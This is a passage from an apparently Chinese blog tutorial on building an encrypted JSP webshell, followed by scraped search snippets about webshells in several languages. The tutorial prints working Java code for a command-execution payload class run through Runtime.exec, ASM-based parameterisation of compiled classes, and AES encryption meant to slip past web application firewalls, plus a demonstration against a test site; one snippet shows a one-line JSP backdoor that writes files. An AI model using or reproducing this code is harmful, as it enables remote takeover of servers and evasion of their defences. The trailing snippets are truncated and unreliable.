        URLConnection urlConnection = url.openConnection();
    
        String cookieValue = urlConnection.getHeaderField("Set-Cookie");
        result.put("cookie", cookieValue);
        isr = new InputStreamReader(urlConnection.getInputStream());
        br = new BufferedReader(isr);
        String line;
        while ((line = br.readLine()) != null) {
            sb.append(line);
        }
        br.close();
        result.put("key", sb.toString());
        return result;
    }
    
    2.动态生成class字节数组:

    我们只需要把payload的类写好一起打包进客户端jar包,然后通过ASM框架从jar包中以字节流的形式取出class文件即可,如下是一个执行系统命令的payload类的代码示例:

    public class Cmd {
    
    public static String cmd;
    
    @Override
    public boolean equals(Object obj) {
        // TODO Auto-generated method stub
        PageContext page = (PageContext) obj;
        page.getResponse().setCharacterEncoding("UTF-8");
        Charset osCharset=Charset.forName(System.getProperty("sun.jnu.encoding"));
        try {
            String result = "";
            if (cmd != null && cmd.length() > 0) {
                Process p;
                if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
                    p = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", cmd });
                } else {
                    p = Runtime.getRuntime().exec(cmd);
                }
                BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));
                String disr = br.readLine();
                while (disr != null) {
                    result = result + disr + "\n";
                    disr = br.readLine();
                }
                result = new String(result.getBytes(osCharset));
                page.getOut().write(result.trim());
            }
        } catch (Exception e) {
            try {
                page.getOut().write(e.getMessage());
            } catch (IOException e1) {
                // TODO Auto-generated catch block
                e1.printStackTrace();
            }
        }
    
        return true;
    }
    
    3.已编译类的参数化:

    上述示例中需要执行的命令是硬编码在class文件中的,因为class是已编译好的文件,我们总不能每执行一条命令就重新编译一次payload。那么怎么样让Payload接收我们的自定义参数呢?直接在Payload中用request.getParameter来取?当然不行,因为为了避免被waf拦截,我们淘汰了request参数传递的方式,我们的request body就是一堆二进制流,没有任何参数。在服务器侧取参数不可行,那就从客户端侧入手,在发送class字节流之前,先对class进行参数化,在不需要重新编译的情况下向class文件中注入我们的自定义参数,这是比较关键的一步。这里我们要使用ASM框架来动态修改class文件中的属性值,关键代码如下:

    public static byte[] getParamedClass(String clsName,final Map<String,String> params) throws Exception
    {
        byte[] result;
        ClassReader classReader = new ClassReader(clsName);
        final ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
    
        classReader.accept(new ClassAdapter(cw) {
    
            @Override
            public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) {
                // TODO Auto-generated method stub
                if (params.containsKey(filedName))
                {
                    String paramValue=params.get(filedName);
                    return super.visitField(arg0, filedName, arg2, arg3, paramValue);
                }
    
                return super.visitField(arg0, filedName, arg2, arg3, arg4);
            }},0);
        result=cw.toByteArray();
        return result;
    }
    

    我们只需要向getParamedClass方法传递payload类名、参数列表即可获得经过参数化的payload class。

    4.加密payload:

    利用步骤1中获取的密钥对payload进行AES加密,然后进行Base64编码,代码如下:

    public static String getData(String key,String className,Map<String,String> params) throws Exception
    {
        byte[] bincls=Params.getParamedClass(className, params);
        byte[] encrypedBincls=Decrypt.Encrypt(bincls,key);
        String basedEncryBincls=Base64.getEncoder().encodeToString(encrypedBincls);
        return basedEncryBincls;
    }
    
    5.发送payload,接收执行结果并解密:

    Payload加密之后,带cookie以POST方式发送至服务器端,并将执行结果取回,如果结果是加密的,则进行AES解密。

    案例演示

    下面我找了一个测试站点来演示一下绕过防御系统的效果:

    首先我上传一个常规的jsp一句话木马:

    img

    然后用菜刀客户端连接,如下图,连接直接被防御系统reset了:

    img

    然后上传我们的新型一句话木马,并用响应的客户端连接,可以成功连接并管理目标系统:

    img

    展开全文
  • JSP一句话后门

    2021-01-08 21:03:47
    =null)(new java.io.FileOutputStream(application.getRealPath(“\\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes()); %> 使用方法: 提交url! jsp?f=1.txt” target=”_blank”...
  • jsp一句话木马总结

    千次阅读 2021-03-22 16:01:11
    1-“真泛型”是怎么操作的 若Java 语言实现"真泛型",对泛型类型(泛型类、泛型接口)、泛型方法的名字使用特别的编码,例如将 FactoryT 类生成为一个名为 “Factory@@T 【复习回顾】封装 方法的封装 一句话: 属性...
  • 比较全的webshell一句话包括ASP,PHP,ASPX,JSPasp一句话木马程序代码程序代码程序代码程序代码程序代码程序代码[code][code]eval(request("sb"))程序代码%>程序代码程序代码程序代码if Request("sb")<>"" ...
  • 一句话木马该怎么实现?现在就带你了解

    千次阅读 多人点赞 2021-07-30 21:27:50
    一直以来,Java一句话木马都是采用打入字节码defineClass实现的。这种方法的优势是可以完整的打进去一个类,可以几乎实现Java上的所有功能。不足之处就是Payload过于巨大,并且不像脚本语言一样方便修改。并且还存在...
  • 一句话木马及文件上传。

    千次阅读 2021-10-28 19:01:55
    (要是学长看了我的博客的,能不能告诉我咱学校的网站有没有后门什么的(划掉),传授一些经验。) 第步:文件上传靶场upload-labs搭建 首先,启动PHP_study.(什么,不知道,不会上网查吗。zhong_yan博主,你...
  • 一句话木马原理 什么是一句话木马? Webshell:webshell就是以网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门,顾名思义,web的含义是显然需要服务器开放web服务,shell的含义是取得对服务器...
  • 如何使用JSP一句话木马和菜刀木马

    千次阅读 2021-02-28 18:08:51
    展开全部相信用过一句话木马的黑阔们对中国32313133353236313431303231363533e4b893e5b19e31333337393033菜刀这个程序不会感到陌生,小弟也曾使用PHP一句话木马轻松lcx了很多站。近期Struts2重定向漏洞疯狂来袭,...
  • Java -- 一句话木马

    千次阅读 2020-08-26 19:09:33
    Java调用计算机程序 import java.io.IOException; public class WebShell { public static void main(String[] args) throws IOException { Runtime.getRuntime().exec("calc"); } } 调用cmd命令 import ...
  • [各种一句话木马大全]各种一句话

    千次阅读 2021-04-10 13:03:59
    PHP一句话:1、普通一句话2、防爆破一句话 //菜刀地址http://192.168.64.137/x.php?x=mytest 密码:pass3、过狗一句话 //菜刀地址 http://localhost/1.php?s=assert等价于$=@$GET['s'];@$($_POST['pass']);?>4、...
  • 一句话木马的工作原理:一句话木马分析服务端与客户端。'一句话木马'服务端(是用于本地的html提交脚本木马文件)就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,...
  • 上传漏洞-一句话木马

    千次阅读 2019-05-30 20:52:07
    声明:为什么又写一篇关于一句话木马,对,我第一次没写明白,直写了一句话木马的简单制作,但是还是有很多同学真的看不懂,所以我今天改一下,这次精写! 上传漏洞-一句话木马 讲述内容: 一句话木马 木马使用技巧...
  • webshell与一句话木马

    千次阅读 2019-06-23 14:36:08
    webshell就是以 asp、aspx、php、jsp 或者cgi等网页文件形式存在的种命令执行环境,也可以将其称做为种网页后门。黑客在入侵了个网站后,通常会将asp、aspx、php或jsp后门文件与网站web服务器目录下正常的网页...
  • 2017-01-27-一句话木马原理详解

    千次阅读 2022-03-17 17:27:01
    title: “一句话木马原理详解” categories: [网络安全CyberSecurity] tags: [一句话木马] 作者:愤怒的小辣椒 链接:https://www.zhihu.com/question/269213687/answer/1088999932 来源:知乎 著作权归作者所有。...
  • 讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,...利用这个原理我们可以把PHP的一句话木马写到磁盘上从而拿到webshell。本地的目标站点来实战一下,我们的目的是在目...
  • jsp一句话木马菜刀

    千次阅读 2021-03-05 17:44:01
    1.如何使用JSP一句话木马和菜刀木马相信用过一句话木马的黑阔们对中国菜刀这个程序不会感到陌生,小弟也曾使用PHP一句话木马轻松lcx了很多站。近期Struts2重定向漏洞疯狂来袭,不少黑阔们都摩拳擦掌、争先恐后的寻找...
  • 本来是想把这三个版本写在一篇文章里,过程中发现篇幅太大,所以分成了四篇,分别是:利用动态二进制加密实现新型一句话木马Java篇利用动态二进制加密实现新型一句话木马之.net篇利用动态二进制加密实现新型一句话...
  • 史上最全的一句话木马

    千次阅读 2019-07-30 21:34:08
    史上最全一句话木马PHP普通一句话PHP系列过狗一句话PHP过狗几个变性的php--过防火墙phpv9 高版本拿shellASPasp 一句话ASP过安全狗一句话ASPX系列aspx一句话JSP过护卫神的插入一句话容易爆错一句话木马到两句话木马的...
  • 一句话木马的原理

    千次阅读 2021-04-22 13:00:06
    一句话木马的原理 文章目录一句话木马的原理0x00 前言0x01 解析 PHP 一句话木马的原理0x02 解析蚁剑连接一句话木马原理1.蚁剑2.使用蚁剑进行连接0x03 分析蚁剑连接原理0x04 加密的 ASP 一句话后门0x04 JSP一句话木马...
  • ASPX一句话木马详细分析

    千次阅读 2018-12-28 09:29:15
    首先回顾一下以前ASP一句话的经典木马吧...VBS中execute就是动态运行指定的代码而JSCRIPT中也同样有eval函数可以实现,也就是说ASP一句话木马也有个版本是采用JSCRIPT的 eval的!网上也有例子我就不多说了!..... 然...
  • 一句话木马变形(编码) 注意:如果全文只是加密的密文的话,那么就相当于是一个字符串,在解析的时候不符合语义,依然不会检测出来 base64 编码 php <?php $c = base64_decode('YXNzZXJ0'); $c($_POST['pwd']); ?&...
  • 一句话木马 反弹shell 使用哥斯拉 要在Java环境下使用 点击左上角目标 生成 在添加索要挂载的网页填入对应的url测试连接

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,042
精华内容 1,216
关键字:

java一句话木马

java 订阅